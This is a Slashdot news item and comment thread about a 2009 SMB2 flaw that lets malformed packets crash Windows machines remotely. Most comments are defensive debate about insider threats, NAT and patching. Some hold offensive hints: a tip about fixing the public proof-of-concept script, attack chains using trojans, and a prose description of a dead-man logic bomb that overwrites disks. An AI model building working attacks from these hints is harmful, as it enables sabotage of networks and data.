Windows 7 Reintroduces Remote BSoD

David Gerard writes "Remember the good old days of the 1990s, when you could teardrop attack any Windows user who'd annoyed you and bluescreen them? Microsoft reintroduces this popular feature in Windows 7, courtesy the rewritten TCP/IP and SMB2 stacks. Well done, guys! Another one for the Windows 7 Drinking Game."

Comments

Local?

[MindStalker]

If it relies on a SMB2 request it is most likely restricted form request inside the LAN.
Either way, still bad.

Re:Local?

[fuzzyfuzzyfungus]

Especially unpleasant given that SMB2 is pretty common on important shared resources. Like fileservers.

Crashing clients is bad, any client on the LAN being able to take down the fileserver is substantially worse.

Re:Local?

[PsychicX]

Agreed -- it IS rather bad, but generally speaking you're not expecting attacks from inside your LAN. As Windows vulnerabilities go, this isn't horrible in a practical sense.

Re:Local?

[ZekoMal]

Not expecting such a problem until you go to college; half of the students on my campus don't even have a password put on their computers, making it extremely easy to access them remotely as is. If everyone had Win 7 installed, well...it'd make for some interesting work.

Re:Local?

[tagno25]

As Windows vulnerabilities go, this isn't horrible in a practical sense.

Unless this works with IPv6.

If it works with IPv6 then a malicious site can have IPv6 address. When the user visits the site the code reads the source IP and implements the attack.

Re:Local?

[afidel]

Actually the headline is very misleading and that's bad. This affects SMB2 which is in Vista and Server 2008 as well, that means every Server 2008 system is likely vulnerable to a LAN based DoS attack.

Re:Local?

[Anonymous Coward]

...what?

Re:Local?

[gazbo]

Just because IPv6 reduces the need for NAT doesn't mean you shouldn't use a firewall. I assume that's what you were talking about anyway.

Re:Local?

[jim_v2000]

Pft...it'll be patched whenever the next update cycle is and will be irrelevant. Yeah, it's bad, but it will be short lived.

Re:Local?

[dontclapthrowmoney]

...generally speaking you're not expecting attacks from inside your LAN...

Even if you have total control over all physical access points to your LAN, and total trust in your user base, there is still a chance that internal people can try to do nasty things - and in some ways they may have more motivation to do so.

I think the concept of "internal/trusted network" is going to shrink - nowadays I tend to this of the "internal network" as ending at the edge of centralised server resources, and clients on what would have been called the "internal LAN" are actually outside of what I would now call the "trusted zone". Even then, SMB traffic is more likely to be open so this vulnerability is still a problem, and many organisations still concentrate on border protection without taking any defense-in-depth measures internally so they're probably wide-open to this.

I could be paranoid, but I don't want to be less strict with internal controls and then find out the hard way that I was right all along.

Re:Local?

[asdf7890]

On its own is isn't massively scary, but if the exploit can be triggered by a non-privileged user then it could be used in conjunction with many other types of attack to create a DoS. If someone (or some automated malicious code) exploits a hole in your public facing mail/web/what-ever server to gain access to run arbitrary code then they could DoS any machines not shielded from the hacked machine (which may only be that machine itself, but that is still one machine that can be taken offline). There is also the disgruntled employee to consider, and in any large organization there is usually at least one of them. If the DoS vector is not easily tracked back to the source then they can take down a bunch of machines just to cause hassle and unless they take down every machine that can access except their own you may have a hard time finding clues.

Re:Local?

[Sethb]

Uh, by default on modern incarnations of Windows, accounts without passwords are *not* allowed to log in remotely. So, they're extremely difficult to access remotely.

Re:Local?

[PC and Sony Fanboy]

... except that 99.99% of students don't have anything worth stealing on their computers.

Other than movies/music/credit card info, of course.

Re:Local?

[Anonymous Coward]

Digital cameras make for plenty of things worth finding.

Re:Local?

[poetmatt]

well, now I know how to win any lan party contests :)

Re:Local?

[GameMaster]

NOBODY EXPECT ATTACKS FROM INSIDE YOUR LAN!!!! Their chief weapon is surprise...surprise and fear...fear and surprise.... Their two weapons are fear and surprise...and ruthless efficiency.... Their *three* weapons are fear, surprise, and ruthless efficiency...and an almost fanatical devotion to rms.... Their *four*...no... *Amongst* their weapons.... Amongst their weaponry...are such elements as fear, surprise.... I'll come in again.

Re:Local?

[GameMaster]

Of course, the proper remedy for this (given that it is on a LAN) is to get up, walk down the hall, and beat the crap out of the douche-bag who's DoSing you. Really, the only reason DoS attacks work so well on the Internet is that the guys doing it are probably half-way around the world.

Re:Local?

[postbigbang]

There is no such thing as total trust. Bots aren't trustworthy, and there are millions of machines that have them handily installed.

Oops.

Re:Local?

[Anonymous Coward]

how to win any lan party contests

Have Leeroy Jenkins on your team?

Re:Local?

[afidel]

What about the employee who just got fired who sets off an IP walk that crashes every file server? What about the employee that gets the malware of the day and it includes the ability for the 0wner to launch this attack inside your LAN? There's a lot more potential for abuse than just the prankster on the helpdesk deciding he wants to create some havoc.

Re:Local?

[ShieldW0lf]

Trust in computer disciplines doesn't have anything to do with something being trustworthy. Trust is an expression that you have left yourself vulnerable, and are trusting that you won't be exploited. How you feel about leaving yourself vulnerable is irrelevant. The probability that you will be exploited is also irrelevant.

That's what Trusted Computing is all about... it's not that your computer is more secure... it's that your computer is less secure, and you are trusting third parties not to screw you instead of securing yourself against them.

Re:Local?

[sopssa]

For that matter, does this work through software that emulate LAN over internet, like hamachi?

But yeah, just because it works only inside lan, doesn't mean it cant come with some malware or worm.

Re:Local?

[Idaho]

generally speaking you're not expecting attacks from inside your LAN. As Windows vulnerabilities go, this isn't horrible in a practical sense.

Really? That may be true in small(ish) companies, say less than 50 employees. In general, many security experts beg to differ, however.

Some select quotes:

"In 92 percent of the incidents [re. inside attacks] investigated, revenge was the primary motivator."

Common attacks:

Manipulation of Protocol Design Flaws: Protocol weaknesses in TCP/IP can result in a virtual treasure trove of problems, for example DNS spoofing, TCP sequence, hijacked sessions and authentication session / transaction replay, denial of service and TCP_SYN flooding.

Manipulation of Operating System Design Flaws: We all know the drill. Operating systems, such as Windows and Linux, have not been designed to be highly secure. Privileged users in particular have easy access to information regarding which vulnerabilities exist and which vulnerabilities have been patched. With the ability to read and administrative access, privileged users can manipulate these design flaws and exercise native vulnerabilities.

I work at a university where several years ago a server administrator purposefully set fire to an entire building (out of spite for getting fired, allegedly). By comparison, bluescreening the computers in your company out of revenge is childs play, and if you do it right, it should be very hard to detect where it originated. People do strange things out of spite - although setting buildings on fire is fortunately rare, I doubt the same can be said about such "trivial" DOS possibilities.

Re:Local?

[postbigbang]

This, too, is a fallacy, as each connection to another device brings incumbent risk. Your phone, a flash drive, somebody's DVD of pictures, any wired/wireless connection is a potential hack point. Diligence says we remove as many as we can and know of, but the statistical fact of botnets means that there IS NO SUCH THING AS TOTAL TRUST.

There isn't a protocol that hasn't been cracked, and only many layers of authentication and encryption bring the capacity to admit information into a machine that then is vetted-- not necessarily trusted.

It's not paranoia, it's what we've let connectivity become. The Trusted Computing initiative adds only additional vetting. An infected machine that has trust is still a breach. This makes Trusted Computing more of a marketing initiative than some sort of titanium wall. Yes, your machine is more vulnerable, and people will screw you unwittingly. Admittance control helps, but is no panacea.

Re:Local?

[bytethese]

You know, some of us work at multi-national corporations/firms that have offices in other countries. Should someone had access to the network by some means, they could crash a company's machines from halfway around the world since they are all on the same LAN...

Re:Local?

[bbernard]

"but generally speaking you're not expecting attacks from inside your LAN"

Right, because a virus on my local network would never take advantage of that.
Right, because more than 60% of data loss events are triggered by insiders.
Right, because you personally know and trust every user on your LAN.
Right, because nobody would connect an unapproved device, like their iPod, or personal PC, to the LAN.

If you're not expecting most of your attacks from inside your LAN then you're just fooling yourself.

Re:Local?

[Sandbags]

It's a huge problem when you have 14K+ machines in an enterprise network, with over 200 servers in DMZs that can be compromised in some way, and an outdated mail filtering service and lagging AV/Malware security deployment.

We spend $70-100M a year upgrading and maintaining our IT infrastructure, and we stay a few years ehind the bleeding edge. We're a tight shop, multiple security tiers, and highly hardened systems. Still, we get numerous virus infections reported daily and constantly battle keeping the network secure.

Our data is very well protected, behind multiple tiers of firewalls and alternating operating platforms (there's never an "all windows" path, even across multiple servers, from a potential infection point to a data resource, making a very secure system overall), but that doesn't help us from having critial systems, or lots of workstations co down, causing disruption in the office. We use in-line and out-of-band netowkr monitoring technology, and can quickly identify a system that's gone rogue, but it's still a problem, and if one can whack other systems remotely, without having to infect them, through comonly open internal ports and protocols, that's another reason to deploy more non-windows systems...

Re:Local?

[Abreu]

I endorse both your comment and your sig.

Re:Local?

[kannibal_klown]

Plus, correct me if I'm wrong, with most Modern Windows machines don't you have to explicitly Enable Remote Access?

If they're not savvy enough to use a password, I doubt many would turn it on.

Re:Local?

[damien_kane]

You know, some of us work at multi-national corporations/firms that have offices in other countries. Should someone had access to the network by some means, they could crash a company's machines from halfway around the world since they are all on the same LAN...

What did it cost you to run cables 50,000 miles between your offices, and how did you get over the latency? Further to that, isn't your IT/Info-Sec group afraid of someone putting a listener on those cables?
Any place I know of with remote/satellite offices (including my own) uses WAN or VPN, where (due to separate subnets and proper routing) one member-LAN can't take down the other member-LAN halfway across the world with a simple ping-flood, netbios, or SMB attack.
Most modern offices these days even go so far as having each floor, or even department, on different physical networks, separate from each other.

Re:Local?

[mortonda]

Agreed -- it IS rather bad, but generally speaking you're not expecting attacks from inside your LAN. As Windows vulnerabilities go, this isn't horrible in a practical sense.

If you think that, please don't go into the security industry. The greatest threat to a corporate network is from you local network and "trusted" users. This bug just makes it easier.

Re:Local?

[Missing_dc]

Ah, the trouble I could have gotten into if digital cameras were affordable during my college years..... :)

Re:Local?

[Anonymous Coward]

Of course, the proper remedy for this (given that it is on a LAN) is to get up, walk down the hall, and beat the crap out of the douche-bag who's DoSing you. Really, the only reason DoS attacks work so well on the Internet is that the guys doing it are probably half-way around the world.

It's not a denial of service attack, re-read the article (assuming you bothered to read it to start with). It is a BSOD attack, which stands for either Black or Blue Screen of Death. All it requires is to send a malformed packet to your machine, which the Windows stack happily chokes on and dies, hanging your system to either a Black screen or the standard Blue windows crash dump. Just one or two packets it all that is required, and with a simple script injected to any client on the LAN you could take down the entire network.
In addition, many large companies have big VLAN's that link multiple office sites, you could potentially take down (for example) an entire coporate network or ISP depending on how it was setup.

On top of that, it would not be that difficult to inject something onto a local machine from outside the network using a standard attack vector, like an adobe vulnerability or drive-by download of some sort, which drops a trojan that then begins sending malformed packets over the LAN.

So yes, this is a very big deal. Maybe not quite as big a deal as the original ping of death since you have to compromise a machine on the LAN as opposed to just hitting it from the public internet, but still something that network admins need to take immediate action to prevent.

Re:Local?

[phoenix321]

Second that big time.

The belief that a cloud of several thousand clients can ever be held secure is almost obscene. IT departments that concentrate most heavily on defending the outer border of their network, placing more than only a slight hint of trust in their "owned" client hardware are hopefully becoming rare.

Several thousand notebooks, travelling along the employees all around the world, through a hundred massive wifi-zones, hotel LANs, airports etc., should not be trusted higher than the machine Joe Random Employee brought from home. The official corporate notebook may have all the branding, settings, applications and whatnot, but that can at best make it a decently hardened PC, not bullet proof.

Many organisations really concentrate on the border, falling to the illusion of control: "we control the machine, the user / employee has no admin rights so all machines that go along on a business trip come back in perfect shape and without ever acquiring a drive-by rootkit somwhere"

In reality, most breaches are done, or facilitated, or unknowingly supported by people inside the organisation. Disgruntled employees are surely the worst enemy - and guaranteed to be numerous in any multinational company under the current economy. But it can also be frequent-fliers, hard-working staff that take their laptops everywhere and try to work all the time, connecting to a hundred different wifi-APs per year. Trusting a machine means physical control over everything. Trusting machines that commute and travel daily along with their employees is batshit crazy - but most IT departments still pretend they don't see that.

Re:Local?

[bytethese]

Info Sec group, haha that's funny.

Large organizations have Class B subnets, hence all falling under something like 152.116.x.x, all machines can communicate with each other. Most probably use a service such as Yipes and VPN's to link remote offices, all under the same class B subnet however. While switch policies are in effect to deter the spread of malware, computers from different offices would need to be able to communicate properly...

Re:Local?

[smash]

SBM2 is designed to work better over WANs. hence, different physical network, vpn, whatever - if you pass SBMv2, you're owned.

Re:Local?

[jack2000]

The administrator has remote desktop capabilities by default. The administrator's password is easy to guess when setup by people with little-to-no computer knowledge.

Re:Local?

[Anonymous Coward]

v.2 upgrade

NOBODY EXPECTS ATTACKS FROM INSIDE YOUR LAN!!!! Their chief weapon is surprise...surprise and AutoRun...AutoRun and surprise.... Their two weapons are AutoRun and surprise...and usb drives.... Their *three* weapons are AutoRun, surprise, and usb drives...and an almost fanatical devotion to double-clicking e-mail attachments.... Their *four*...no... *Amongst* their weapons.... Amongst their weaponry...are such elements as AutoRun, surprise.... I'll come in again.

Re:Local?

[Blakey Rat]

Either "half of the students" in your college are running Windows ME, or you're a liar.

All network access is turned off by default in newer versions of Windows, and you can't even turn them on for accounts with no password.

Re:Local?

[Bigjeff5]

I work for one of the biggest companies in the world, and the entire network is on one, giant active directory domain.

I can ping accross continents baby! Ok maybe not, but I don't VPN anywhere, and I have direct access to file servers all over the world.

In other words, you don't know shit.

When your company is the size of mine, you have these things called "contracts" with various ISPs that basically give you a LAN connection (not a VPN, an actual LAN link) accross continents and over seas. They can do this with cool technologies called "switches" and "vlans". Of course there is subnetting and such as well, as in all good networks.

Seriously, even when you VPN, you are using an actual physical link to get from one place to another. What is stopping a company from making a deal with the ISP that gives them a dedicated line cross-country? In fact this will involve many ISPs, but the idea is pretty simple. It's expensive as hell, but worth it when the scale is big enough.

Re:Local?

[Bigjeff5]

Which is why in my company, a person's account access is disabled before they are told they are fired, and security escorts them out of the building.

Can't damage the system, as their access is already revoced, and they certainly won't be setting fire to the building with security on each arm, walking them out.

It's pretty rare that a disgruntled employee does anything before they know they have been "let go".

Re:Local?

[Mathiasdm]

Yes, it affects Vista (just tested it here). The example exploit contains a bug though. You need to add an import line 'from socket import socket'.

Re:Local?

[Anonymous Coward]

Any attack that prevents you from using your computer is a Denial of Service attack. It's hard to use your computer while it's blue-screening and re-booting, so this is a DoS attack. (However, it is not a DDoS attack.)

Re:Local?

[FrankSchwab]

WTF does "one, giant active directory domain" or "ping accross continents baby" have to do with IP Subnets?

Do you have any understanding of networks at all, or do you just spew back the crap you've heard?

/frank

Re:Local?

[thetoadwarrior]

Ah, the trouble I could have gotten into if digital cameras were affordable during my college years..... :)

yeah because man breasts are illegal.

Re:Local?

[Midnight Thunder]

If it works with IPv6 then a malicious site can have IPv6 address. When the user visits the site the code reads the source IP and implements the attack.

This is why in a properly configured network you can limit SMB to within your network, by use of a firewall. With IPv6 a firewall is pretty much mandatory. If you need to file share outside your network, then using something like webdav in HTTPS mode is probably better, since this helps make it clear that you are not within your network.

Actually thinking about it, it would be cool if there was a way to change the icon of the server to indicate that it is outside your network (based on the subnet mask or something of the sorts).

Re:Local?

[SethJohnson]

Ok. So the bad guys add it to their malware installed on millions of computers around the globe. Pull the trigger and the lights go out.

Seth

Re:Local?

[Anonymous Coward]

well, now I know how to win any lan party contests :)

it's been around so, long, like you didn't know it before???

Re:Local?

[Mathiasdm]

Ignore the above. It was due to a bad copypaste, apparently (linefeed missing).

Re:Local?

[Vintermann]

i'm not sure that's good enough. The catbert way, catapult seats in the toilets, is safer.

Re:Local?

[MrCrassic]

So can I...ping www.google.co.uk and watch!

I'm not that proficient with networking, but something seems like your knowledge is a bit off...

Re:Local?

[malevolentjelly]

If you're on a public or open network and your profile is set to "Public", this likely wouldn't be possible. Windows 7 makes it very easy to do this.

Well, I suppose we can always find out. If anyone's at UIUC right now, hop on UIwpa2 2 (near the union) and BSoD Wallaby. It's on my lap right now. I'll buy you a drink if you succeed.

Re:Local?

[ceoyoyo]

It's not really that funny unless you can hear the victim swear at his computer.

Re:Local?

[malevolentjelly]

A local python attack from within my LAN? Blimey, I'd rather expect the Spanish Inquisition.

Re:Local?

[tolan-b]

It's a DoS but it's also more than that as it could cause data corruption, or even just the loss of your unsaved files. Maybe not so huge for one user, but hit a large network with it and it could be a major pain in the arse.

Re:Local?

[Powys]

NO one suspects the Spanish Inquisition!!

Re:Local?

[kav2k]

What's worse, it's not only a DoS attack, is potentially a remote-execution opportunity. In a kernel driver.

Re:Local?

[ShieldW0lf]

This, too, is a fallacy, as each connection to another device brings incumbent risk. Your phone, a flash drive, somebody's DVD of pictures, any wired/wireless connection is a potential hack point. Diligence says we remove as many as we can and know of, but the statistical fact of botnets means that there IS NO SUCH THING AS TOTAL TRUST.

You are missing the point that "TRUST" doesn't mean "SAFE", it means "NOT-SAFE". It doesn't mean "I believe you won't screw me", it means "I haven't secured myself against you screwing me, and like it or not, I'm trusting you not to do it by leaving this vulnerability in place".

Re:Local?

[Anonymous Coward]

Thank you, I was afraid nobody would get the original joke.

Re:Local?

[Anonymous Coward]

I can see small groups machines moving to a Castle/HomeGroup style of identification. If a machine knows the right passphrase, then the other machine will allow more services and ports to be open to it than if it didn't. Of course, with a good PKI and certificates, this can be scaled up, but for small groups or divisions in a company, this might be workable.

Re:Local?

[SBrach]

Only if they explicitly turn on Remote Access.

Re:Local?

[RiotingPacifist]

I can see it being used multiple times to dereference multiple kernel pointers, but i can't see how you would get it execute code. I suppose its a question of how much damage you can do dereferencing stuff inside the kernel vs how much protection the NT has against this stuff.
On linux a few well placed dereferences and you could probably disable the firewall then run anything in effective root (by removing all security checks), ofc to do damage you would still need a second exploit on an already running process (including those that were protected) to make use of this.

Re:Local?

[Anonymous Coward]

In a lot of bigger firms, this is done. However, this is forgetting one thing: Parting "gifts" an ex employee leaves behind. Its not unhead of for someone to leave an app running that, if a certain file isn't touched within 2-3 weeks, will fire off a mass deletion script.

I've seen recompiled daemons such as syslogd be compiled with payload for this "functionality". Some strange file in /var doesn't get a new mtime in 3 weeks, it will start randomly writing random bytes to random sectors in /dev/sda until the machine crashes, and this done over a time interval in hopes of it preventing recovery via normal means of backups.

In smaller companies, people can get wind that they are going out the door before the security guards come with the box for the items on the desk. Programmers get wind of their division getting offshored, a rival in the office politics suddently has a new manager who is on their side that tips the scales, or someone just got discovered something he or she shouldn't, and knows it will be a matter of time before other cow-orkers stir up the fires enough to get the person fired.

Re:Local?

[thejynxed]

Not true :) Check your WinXP (even under SP3) services once. Remote Desktop and NetBIOSHelper (amongst other stupid things like SSDP Discovery service and Remote Registry) is enabled by default. Nothing regarding networking is disabled by default using IPSEC, Group Policy, etc. Ditto under Windows 2000 SP4. As for the Windows Firewall? Ports 80 and 25 blocked by default, if that. FFS, even WinOBJ (Many Component Services Objects) items are remotely accessible by default using RPC - using no password on an account.

Anonymous Logins are allowed by default.

This may be different under Vista and Windows 7, however.

Re:Local?

[sjames]

That's the scary part. Consider, web page exploits IE6 vulnerability. Causes the client to start sending out the packets of death on the LAN...

Re:Local?

[Anonymous Coward]

Excuse me, but SMB is a fully routable protocol...

Re:Local?

[Anonymous Coward]

How do you run this script?

Re:Local?

[MindStalker]

True, but in general those ports are low numbers ports and ar not routed by default. Any router routing 137, 138 or 445 to local systems off the DMZ should be shot.

Re:Local?

[Anonymous Coward]

Yup

I tried it (with willing volunteers)
Could kill a laptop on my home network.
Couldn't kill a computer behind a NAT router.

Still, it's a bloody easy thing to do.

Re:Local?

[mvdwege]

Rule #1 in InfoSec: everything outside your hosts cannot be trusted. By extension, no, the LAN is not trustworthy.

Why do you think that secure authentication protocols like Kerberos are designed around not trusting the network, only hosts?

Mart

Re:Local?

[sydb]

You're insane. There are often signs of impending disgruntlement prior to it's arrival. But forget disgruntled employees, what about malicious employees, or employees who don't know the line between a bit of fun and costing the company hundreds of thousands of $local_currency? Use your imagination for god's sake. Do I have to say it? Terrorists!

Re:Local?

[lgw]

In a lot of bigger firms, this is done. However, this is forgetting one thing: Parting "gifts" an ex employee leaves behind. Its not unhead of for someone to leave an app running that, if a certain file isn't touched within 2-3 weeks, will fire off a mass deletion script.

The only sound defense against this is a good severance package. Offer someone $10-20K as a package, lost if any "destructive events" occur. Few value their revenge so much.

Re:Local?

[Master of Transhuman]

"generally speaking you're not expecting attacks from inside your LAN"

Remind me not to hire you as IT security boss.

Re:Local?

[Anonymous Coward]

You have obviously not spent any time working in an education environment. A vulnerable server would be hammered to death all day by an unused lab running bots. Set up by the students, of course.

Re:Local?

[Anonymous Coward]

Disconnect from the Internet and try to ping www.google.co.uk...

Now do you get it? The GP was stating that he has a dedicated WAN environment that spans continents and is NOT an internet connection. It may get routed/carried by providers that also handle Internet and over mostly Internet cables, but some large companies do not use the Internet to connect their offices.

... slashdot users are like 10 year olds, unable to think beyond their immediate need to make fun of others.

Re:Local?

[miknix]

AFAIK it is not a bug, it is only a tiny barrier to stop script kiddies from copy-pasting without knowing what they are doing.

Re:Local?

[daveime]

That must have been some seriously tall office, seeing as the diameter of the earth is only about 24,900 miles.

Or perhaps they simply laid two sets of cables, for redundancy / fallback purposes ?

Re:Local?

[socceroos]

Agreed. The POC even bolds the line that needs changing. Its just script-kiddy proofing.

Re:Local?

[smash]

Um. If you run a Windows network (and I do), you DO EXPECT attacks from inside your LAN. To not expect them and not bother with vulnerabilities like this is the difference between having one owned machine due to Fred downloading a trojan/worm, and an entire botnet.

The days of the perimeter firewall are over. WANs/LANs are too big, software is too complex. You have to treat the LAN like the internet, if its a decent size. Least privilege applies.

You may say "oh, i run linux, i don't care". Yes, you too. Linux, OS X. whatever- they all have remote exploits from time to time, and to bury your head in the sane going "lalalala i'm immune" is to invite disaster.

Re:Local?

[smash]

Both Windows XP and Windows 2000 are operating systems people should be migrating off. They're both 7 and 9 years old, respectively. If you're still running either one (and haven't at least hardened it appropriately), sorry you deserve whatever ownage you get.

Re:Local?

[smash]

Even if you have total control over all physical access points to your LAN, and total trust in your user base, there is still a chance that internal people can try to do nasty things - and in some ways they may have more motivation to do so.

And even if they don't have motivation, there is still a decent chance they'll pick something up via usb stick, wifi or whatever when out of the office, and then bring it back in behind the perimeter firewall. Relying on perimeter firewalls pretty foolhardy these days. I agree with your assertion that the internal trusted network is going to shrink - it doesn't exist for us already. Perimeter firewalls are all well and good if you block unfiltered email, glue usb ports shut, take out optical drives and remove all the development tools from your machines, disable the wifi, and nail them to the desks. That isn't practical though.

Re:Local?

[Bigjeff5]

Umm, nothing? I wasn't talking about subnets.

I was responding to the GPs assertion that the smart way to do it was with VPNs and such. That becomes impractical when you have several offices with thousands of employees in each.

Apparently you misunderstood what I was saying, because generally what you do in this situation is a forrest of AD domains connected together via WAN links that behave like one AD domain. It keeps things tidy and easy to manage.

What my company did, though, was to put an entire, cross-continent LAN under a single domain tree. The size of this thing is enormous, and the cost in maintenance has to be insane.

When was the last time you pinged cross continent on your local LAN? I'm not talking about pinging google.com, I'm talking about never leaving your local network. It's a bit different.

Re:Local?

[botik32]

I am sure this is great relief for all system administrators out there. Thank you for enlightening us!

Re:Local?

[totally bogus dude]

I think the reason people are getting confused is because the distinction doesn't matter.

We're a small organisation and most of our remote offices use VPNs over the internet for a connection to our internal network, but we have one location a few blocks with a "direct" fiber connection and another one on the other side of the country with its own dedicated fiber link "direct" to our main office. In reality these actually terminate at our service provider's facility and they pass the traffic between them as if they were both plugged into the same switch (which is pretty much what happens), so the visible effect for us is we have a direct link from our office here to the one a few blocks away, and a separate direct link to our office a few thousand kms away.

That doesn't mean they're on the same LAN. As you mentioned, we use different subnets to keep broadcast traffic and so on from going across WAN links. In order for data from my PC to get to a PC at one of our other offices, it has to go through our floor access switch, to the core switch/router (my PC's default route), then to the ONU which takes it through our service provider's network (we don't see any of their stuff, they present it as if it was a directly switched network), out the ONU at the far end, to our router, to their access switch, and then to the PC.

For our connections that go through the VPN, it's pretty much the same thing. VPN doesn't have to mean "run a client on your PC to connect to the server", LAN-to-LAN VPNs are very common and the tunneling is all handled by the routers at each end. There's no practical difference between that and a direct switched connection across the continent (or around the world), except the VPN method will probably be a lot cheaper but slightly less performant. You won't be able to tell the difference in e.g. a ping or traceroute and you'll never know it's operating unless we tell you. In fact our office on the other side of the country used to use a VPN over in the internet from the router, and still have that as a failover: if our direct link goes down, we simply reroute the traffic via the VPN connection instead.

Think of it as if your company has built its own internet. After all, "The Internet" is just a collection of networks that are connected to each other, and that's exactly what your large company has.

In many cases, people don't bother to filter traffic between locations at the routers or put firewalls between them, but that's just laziness and/or a decision that the cost of filtering the traffic outweighs the benefits so we'll just take the risk. It's no harder to filter traffic over these kinds of links than it is to filter traffic to/from the internet. It's still being passed through the same kinds of devices.

Re:Local?

[jack2000]

What windows is this? XP sp(any) has remote access on by default and the administrator group has remote access be default it even has remote registry be default turned to on. Don't even get my started on Universal Plug And Play.

Re:Local?

[Anonymous Coward]

So we have to make concessions now for the 'crazies'?

What's stopping that same fired employee from walking in to the server closet and just taking a hammer to the server itself?

He might even get less jail time for doing it that way.

How does 'this article is misleading because it implies that Windows 7 reintroduced an issue that was never fixed to begin with' turn in to 'it's okay because its in every other Windows'?

Re:Local?

[afidel]

Uh, the fired employee isn't getting anywhere near MY datacenter. Unless they were one of a handful of IT employees they wouldn't have access to begin with and after termination their access would be immediate revoked.

Re:Local?

[Anonymous Coward]

Noting the subject we are discussing (a gaping security hole in Windows 7, which is apparently shared with Vista and 2008), which Windows version do you recommend XP users who care about security upgrade to?

Re:Local?

[Bigjeff5]

You're right that it doesn't matter, but still, I think it's pretty cool.

It's almost like you've turned your WAN connection into something similar to a land-line phone connection. I.e. when you pick up the phone and call someone, what you get is essentially a direct wire connection between phones until someone hangs up. IP networks don't operate this way, and sending anything into "the cloud" is the exact opposite of that kind of connection, but if you're willing to spend the cash on the ISPs you can make it close to it (it still uses packets, obviously, phones don't).

Tunneling protocols over "the cloud" appear the same way as far as your network knows.

Re:Local?

[jasonwc]

Microsoft apparently doesn't believe Windows 7 is vulnerable:

Microsoft Security Advisory (975497): Vulnerabilities in SMB Could Allow Remote Code Execution (09/08/09)

"Windows 7 and Windows Server 2008 R2 are not affected by this vulnerability"

In addition, most users won't be vulnerable as Vista marks networks as "Public" by default, blocking file sharing:

"In Windows Vista, if the network profile is set to "Public", the system is not affected by this vulnerability, since unsolicited inbound network packets are blocked by default.

Source: http://www.microsoft.com/technet/security/advisory/975497.mspx

Re:Local?

[Anonymous Coward]

Mod parent sarcastic!!

Big wow

[Anonymous Coward]

You could also do the same to some Linux builds in the good old days. Im sure this will be fixed soon

Re:Big wow

[mdm-adph]

Yeah, we read the first three lines of the Wikipedia link, too.

Re:Big wow

[Anonymous Coward]

No we didn't. Shut up.

The difference is...

[Xest]

...half the world is behind a NAT setup now, and the other half has Windows firewall enabled. Windows update exists now so people will be able to patch quickly and easily when a patch arrives.

Realistically this isn't going to effect many people like the old exploit did.

Still, it's quite comical, maybe this is Microsoft's take on the saying "The old ones are the best". So much for their secure development practices, there's really no excuse for them not picking this one up before release.

Re:The difference is...

[rastilin]

Rewritten software is a double-edged sword. On the one hand you are able to finally discard the truly broken sections of your previous implementation; allowing you to make massive leaps forward. On the other you're getting rid of a large list of known bugs and replacing it with an even larger list of unknown ones.

One of the most useful features of old technolgy is that it breaks in predictable ways.

So it's not too surprising that something like this happened. Doesn't worry me either, I have firewalls and a NAT on all my machines, no reason not to. However since it's something that happened before, it's irritating that Microsoft didn't think to check for something like this.

Re:The difference is...

[Sfing_ter]

really - unless the person sets the "Let Microsoft decide when and where I do updates" most of the updates WILL NOT be done. The average person uses the computer like a tv - turn it on to see the web and turn it off when done. Leave my computer on ALL NIGHT just so i can backup/run antivirus/run defrag/run etc. etc. ???

Oh yeah these people do exist and they have 'FRIENDS' that 'KNOW' computers and 'HELP' them out by turning off that annoying UAC or giving them a 'FREE' version of office. The looks on their faces when I explain that the software they got off Limewire is infected with virus' - they can't believe microsoft would do that!!! THAT is the mentality, and that is why these attacks have always worked, and will always work.

Re:The difference is...

[dvh.tosomja]

> half the world is behind a NAT setup now

So the blackhats will be from the other half right?

Re:The difference is...

[RebelWebmaster]

One would hope that they'd have a suite of unit tests that would catch something like this, though.

Re:The difference is...

[Anonymous Coward]

Approximately 1/2 of the engineers working on software are SDETs (Software Development Engineer in Test). If the SMB2 group is anything like the team I worked on as an SDET (outside of Windows division) they have FAR MORE than a suite of unit tests. Fuzz testing, automated testing frameworks, personas, performance testing, the picture is much larger than a simple group of unit tests. One can wish that all of this test work would catch all of the bugs, but we know (and can see here) that is an impossible achievement. So the engineers will take lessons learned from this and use that information to help prevent such serious bugs in the future.

Re:The difference is...

[Anonymous Coward]

"Rewritten software is a double-edged sword. On the one hand you are able to finally discard the truly broken sections of your previous implementation; allowing you to make massive leaps forward. On the other you're getting rid of a large list of known bugs and replacing it with an even larger list of unknown ones."

So, not big fans of regression tests then.

Re:The difference is...

[Requiem18th]

MOD PARENT UP

I have the theory MOD PARENT UP actually works, maybe... next time I have mod point I'll look for MOD PARENT UP

Re:The difference is...

[XedLightParticle]

NAT works, if no machine on the LAN is infected with something that allows remote control.

Updates will eventually obsolete this trick, of course servers are taken extra care of, clients would be vulnerable the longest.

Windows Firewall... I don't trust it, countless times have I been able to launch programmes not allowed thru windows firewall, it pops up asking me if i want to keep blocking it... however in the background i can see PuTTy or whatever establishing a connection just fine without my approval, just until i choose to block it, which would be too late had it been malicious software. And I've seen this on all windows from XP to 7... When it can't even keep local programs from getting out, why should i trust it would keep anything outside? What comes from outside has got to be much more unpredictable than what runs locally trying to get out... so I don't trust it...

You're right it won't be as severe as it was with the old windows counting percent, but counting the number of people that's gonna experience it, I don't know if it'll be fewer, there's a lot more computers around today than late 90's, don't know if it'll be more either...

Re:The difference is...

[modmans2ndcoming]

This would not be a unit tested fault. Something of this nature would only be exposed with higher levels of testing such as integration testing.

Re:The difference is...

[Anonymous Coward]

really - unless the person sets the "Let Microsoft decide when and where I do updates" most of the updates WILL NOT be done.

You mean the option that's selected by default on windows for about the last 9 years?

Re:The difference is...

[Anonymous Coward]

Well, I'm glad you're not an admin.

You're not an admin, are you? I mean... If you are, I'd hate to be one of the users of a network you maintain.

Take off your rose-colored glasses and get into the real world. There are plenty of brain-dead people setting up their computers. People who make blanket statements, like, say, "Half the world is behind a NAT now, and the other half has Windows firewall enabled" (as if Windows firewall is really all the great anyway)...

Get off of Ballmer's lap and look at the real world without Microsoft whispering into your ear and maybe, just maybe, one day you'll be able to earn yourself some respect.

Re:The difference is...

[Anonymous Coward]

You don't need to run your computer all night to do updates, it takes under 30 minutes to do it on a fresh Windows install.

Re:The difference is...

[not already in use]

The average person uses the computer like a tv - turn it on to see the web and turn it off when done.

First step to writing a clandestine flame post: Imply "facts." People will just assume they're true, when in reality, they are not.

